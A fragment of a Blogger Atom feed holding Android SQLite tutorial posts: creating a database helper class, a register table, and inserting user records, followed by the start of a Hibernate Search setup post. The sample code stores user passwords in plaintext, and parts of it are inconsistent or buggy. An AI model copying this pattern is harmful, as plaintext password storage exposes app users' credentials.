POJO of PreferenceInfo can be downloaded from this link. (&lt;/span&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CVUJxMzl2aXFQMWc/edit?usp=sharing&quot; style=&quot;line-height: 100%;&quot;&gt;PreferenceInfo.java&lt;/a&gt;&lt;span style=&quot;line-height: 100%;&quot;&gt;)&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In order to add a
new entry into the database we get a SQLiteDatabase writable instance
by adding following line&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
SQLiteDatabase db =
this.getWritableDatabase();&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
After getting the
database we must need to set the values that we need to persist into
the database to sepecific column name:&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
ContentValues
newValues = new ContentValues();&lt;br /&gt;
newValues.put(E_MAIL,
preferenceInfo.getEmail());&lt;br /&gt;
newValues.put(PASSWORD,
preferenceInfo.getPassword()); 
&lt;br /&gt;
newValues.put(USER_NAME,
preferenceInfo.getUserName());	 
&lt;br /&gt;
newValues.put(MOBILE_NUMBER,
preferenceInfo.getMobileNumber()); 
&lt;br /&gt;
newValues.put(KEY_MESSAGE,
preferenceInfo.getKeyMessage());&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now, insert the
values into the table by using insert method of the SQLiteDatabase
instance&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
db.insert(REGISTER_TABLE,
//table&lt;br /&gt;
null,//ColumnHack,&lt;br /&gt;
newValues); //
key/value -&amp;gt; keys = column names/ values = column values&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Now after each and
everything we must need to close the database connection after adding
the data into database.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
db.close();&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Updated
&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CSXZBRTB6NUh6bXM/edit?usp=sharing&quot;&gt;AndroidHelper&lt;/a&gt; file and&amp;nbsp;&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CVUJxMzl2aXFQMWc/edit?usp=sharing&quot; style=&quot;line-height: normal;&quot;&gt;PreferenceInfo.java&lt;/a&gt;&amp;nbsp;POJO.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/5039998738997884401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2014/08/insert-new-record-into-sqlite-database.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5039998738997884401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5039998738997884401'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2014/08/insert-new-record-into-sqlite-database.html' title='Insert new record into SQLite Database Android'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6383194861800098559</id><published>2014-08-27T11:59:00.001-07:00</published><updated>2014-08-27T12:00:13.338-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Android Database Helper</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
For every android
application we mostly need to create a data layer which keeps the
parametric data and some user related settings persisted. But it&#39;s
not equivalent to the actual data layer that we have in our desktop
based or web based application where we have an external database
server. Because we can&#39;t keep such a huge application on our mobile
devices. 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In order to access
stored data into our application, we can try two different
approaches, one is to keep the data into a database server and access
it via web service. But, for some user related settings why do we
need such hassle. Because we don&#39;t need to access internet all the
time in order to retrieve some basic user related information. So we
will go for second approach which is to store a file on our local
device and access it directly. 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
But, we want to make
a structure in order to retrieve data and store data in some generic
form. Yes, just like we do in databases. So, here in andorid SQLLite
is a database which is stored in a file and can be accessed just like
a database.  I think it&#39;s fair enough for just a basic introduction,
now we can jump into the code.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In order to keep my
code generic and reusable by my other application I have created a
separate class which I normally import in my every application which
is related to database. Here, I am creating a class which is
extending &lt;b&gt;&lt;i&gt;SQLiteOpenHelper&lt;/i&gt;&lt;/b&gt; which an android class available in
package &lt;b&gt;&lt;i&gt;android.database.sqlite&lt;/i&gt;.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public class
AppNameSQLiteOpenHelper extends SQLiteOpenHelper { 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In this line we just
need to mention the name of file that will be created in our
application. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public static final
String DB_NAME = &quot;appname_db.sqllite&quot;;&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Version is a
necessary field that we just need to store into the application, this
version will be updated whenever we just need to update the schema
otherwise it will be considered the same schema and will never be
replaced with a new file. For application development I think it&#39;s
necessary to keep the version updated after every few changes so,
that we can just have an updated schema whenever needed.. 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public static final
int VERSION = 1; 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In order to exposes
methods to manage a SQLite database. SQLiteDatabase has methods to
create, delete, execute SQL commands, and perform other common
database management tasks. So, here we are just creating an instance
of SQLiteDatabase which will be used later in our application. 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public
SQLiteDatabase DB; 
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
The path of Database
where we will have our database file stored on device.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public String
DBPath; 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Context is an
interface to global information about an application environment.
This is an abstract class whose implementation is provided by the
Android system. It allows access to application-specific resources
and classes, as well as up-calls for application-level operations
such as launching activities, broadcasting and receiving intents,
etc. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public static
Context currentContext; 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
I am keeping the
table name and fields in variables in order to avoid errors. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
//Name of Table:&lt;br /&gt;
public static final
String REGISTER_TABLE = &quot;register&quot;;&lt;br /&gt;
//Fields:&lt;br /&gt;
public static final
String USER_NAME = &quot;username&quot;;&lt;br /&gt;
public static final
String PASSWORD = &quot;password&quot;;&lt;br /&gt;
public static final
String E_MAIL = &quot;email&quot;;&lt;br /&gt;
public static final
String MOBILE_NUMBER = &quot;mobilenumber&quot;;&lt;br /&gt;
public static final
String KEY_MESSAGE = &quot;keymessage&quot;;&lt;br /&gt;
public static final
String SECURITY_NUMBER = &quot;securityno&quot;;&lt;br /&gt;
// Columns:&lt;br /&gt;
private static
final String[] COLUMNS = {SECURITY_NUMBER, USER_NAME, PASSWORD,
E_MAIL, MOBILE_NUMBER, KEY_MESSAGE};&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Here I am just
creating an overloaded constructor to manage database creation and
version management. This construcot will get a context of application
as an argument and furhter call the parent class and after that the
object will be used to create, open, and/or manage a database. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
public
TrackerSQLiteOpenHelper(Context context) {&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Here context of the
application using the database. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
super(context,
DB_NAME, null, VERSION); 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
On create method
will only be called when the database is created for the first time.
This is where the creation of tables and the initial population of
the tables should happen. This method expect a variable to hold the
database instance, 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
@Override&lt;br /&gt;
public void
onCreate(SQLiteDatabase db) {&lt;br /&gt;
createTable(db);&lt;br /&gt;
}&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Create table will be
called at the time of onCreate because we don&#39;t want to create table
eachtime the application starts. Neither we want to create database
everytime we start our application. So, here we are using a simple
condition to avoid multiple databases creation.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
private void
createTable(SQLiteDatabase db) {&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Here we have created
a method checkDbExists that will insure the existence of database on
our device. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
boolean dbExists =
checkDbExists();&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
checkDbExists method
try to open the database with the variables defined for the creation
of a new database. If database opens then it returns &lt;i&gt;true &lt;/i&gt;else
&lt;i&gt;false&lt;/i&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
SQLiteDatabase
checkDB = null; 
&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
try {&lt;br /&gt;
String myPath =
DBPath + DB_NAME;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Here we are opening
the database and assigning it to SQLiteDatabase instance, but if the
instance is not null means the database doesn&#39;t exist.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
checkDB =
SQLiteDatabase.openDatabase(myPath,
null, SQLiteDatabase.OPEN_READONLY); 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
we must need to
catch SQLiteException in catch block application will only move if
the database will not exist.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
} catch
(SQLiteException e) {&lt;br /&gt;
// database
does&#39;t exist yet.&lt;br /&gt;
}&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
As here we are just
checking for the application so we must need to close the database
instance that we have used to check the existence. Because we are not
going to execute queries with this instance but, the other instance
we have mentioned at the class level.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
if (checkDB !=
null) {&lt;br /&gt;
checkDB.close();&lt;br /&gt;
}&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Update the variable
to validate the database.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
dbExists = checkDB
!= null ? true : false;&lt;br /&gt;
&lt;br /&gt;
if (!dbExists) {&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
This line is the
most important line that will even open or create the database with
the DB_NAME that we have mentioned in the start of our code. 
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
DB =
currentContext.openOrCreateDatabase(DB_NAME, 0, null);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Once, we are done
with the craetion of database we will have to move to creation of
table where our data will be persisted. So, here similar to SQL we
are going to use a create table query.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
String
CREATE_REGISTER_TABLE = &quot;create table register ( &quot; + 
&lt;br /&gt;
SECURITY_NUMBER +&quot;
integer primary key autoincrement, &quot; + USER_NAME + &quot;
   text, &quot; + PASSWORD +&quot; text,&quot; +&lt;br /&gt;
E_MAIL +&quot;
text, &quot; + MOBILE_NUMBER +&quot; text, &quot; + KEY_MESSAGE +&quot;
text )&quot;&lt;span style=&quot;line-height: 100%;&quot;&gt;;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
Here, we are going
to use the database instance that we got from the createTable method
and using the method execSQL which will create table for us..     
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
db.execSQL(CREATE_REGISTER_TABLE);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
This method will
only be called when the database needs to be upgraded. The
implementation should use this method to drop tables, add tables, or
do anything else it needs to upgrade to the new schema version. This
method will only accept 3 variables one database instance, oldVersion
and newVersion number which will be integer type of variable.  
&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
@Override&lt;br /&gt;
public void
onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
In order to upgrade
the schema we must need to Drop older tables if existed and the next
line of code will do this for us.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
db.execSQL(&quot;DROP TABLE IF EXISTS &quot;+REGISTER_TABLE); 
&lt;/blockquote&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
And after droping
table we must need to create new tables for our database. So, once
again we will give call to onCreate method that will create a new
table set for us.&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;line-height: 100%; margin-bottom: 0in;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.onCreate(db);&lt;/blockquote&gt;
&lt;br /&gt;
Will update with the searching and insertion in my next blog.&lt;br /&gt;
&lt;br /&gt;
If you find it helpful kindly click the donate button on the top of page. Also added an attachment of the Initial AndroidHelperClass.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://drive.google.com/file/d/0B2bTQXAHYt8CdDVYUXhvVXF0U1k/edit?usp=sharing&quot;&gt;DOWNLOAD SQL Helper Class&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6383194861800098559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2014/08/android-database-helper.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6383194861800098559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6383194861800098559'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2014/08/android-database-helper.html' title='Android Database Helper'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6097560347452924914</id><published>2014-01-27T20:41:00.002-08:00</published><updated>2014-01-27T20:41:41.639-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Maven + Struts2 + Spring + Hibernate + Struts2-Convention-Plugin + Hibernate Search</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;This blog is in continuation with one of my previous blog&amp;nbsp;&lt;a href=&quot;http://wakirmani.blogspot.com/2013/07/maven-struts2-spring-hibernate-struts2.html&quot;&gt;maven+struts2+spring+hibernate+struts2 connvention plugin&lt;/a&gt;. So, you must need to open this post in order to get better understanding by sample code.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;First question raises up in mind that why do we need &#39;hibernate search&#39; when we have &#39;hibernate&#39; already in our application. But HibernateSearch is completley different from hibernate. As hibernateSearch is giving a capability of indexing in your application by using Lucene. And instead of adding too many line of code in order to integrate lucene with your application. You can simply integrate hibernatesearch with your application and rest will be taken care by this.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;In lucene the major problem we face is to merge indexes. But, in HibernateSearch after each transaction indexes get updated automatically. Few things must need to consider before jumping into code.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;HibernateSearch never replace the existing index, once it created then it will be keep on updating it with transactions not every time it loads the application.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;HibernateSearch is a support of Lucene which may have few limitations&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;Must take care of adding an index because it may add extra burden to add and update process.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibMnY8-aNHSV6KTbbAglBHAy60BZOyy_efY0yfFYCJ4yUT25wf7dSTjTz-rcz3xGhJIuoWBGULcSiFkEY3duGnAuKxShupafMYqgSRptGDDykAKQhsl0XRRUFcmGYx4mXpCilF8I_8Y07s/s1600/DAO.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibMnY8-aNHSV6KTbbAglBHAy60BZOyy_efY0yfFYCJ4yUT25wf7dSTjTz-rcz3xGhJIuoWBGULcSiFkEY3duGnAuKxShupafMYqgSRptGDDykAKQhsl0XRRUFcmGYx4mXpCilF8I_8Y07s/s1600/DAO.png&quot; height=&quot;184&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;Directory structure of this application will remain same. But, you must need to update few libraries from the older version to newer one. As in order to get HibernateSearch you must need newer version of hibernate and spring.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;pom.xml&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: #a6a6a6; background-position: initial initial; background-repeat: initial initial; padding: 0in 5.4pt; width: 6.65in;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;background-color: silver; background-position: initial initial; background-repeat: initial initial; color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;project&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://maven.apache.org/POM/4.0.0&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns:xsi&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7f007f;&quot;&gt;xsi:schemaLocation&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
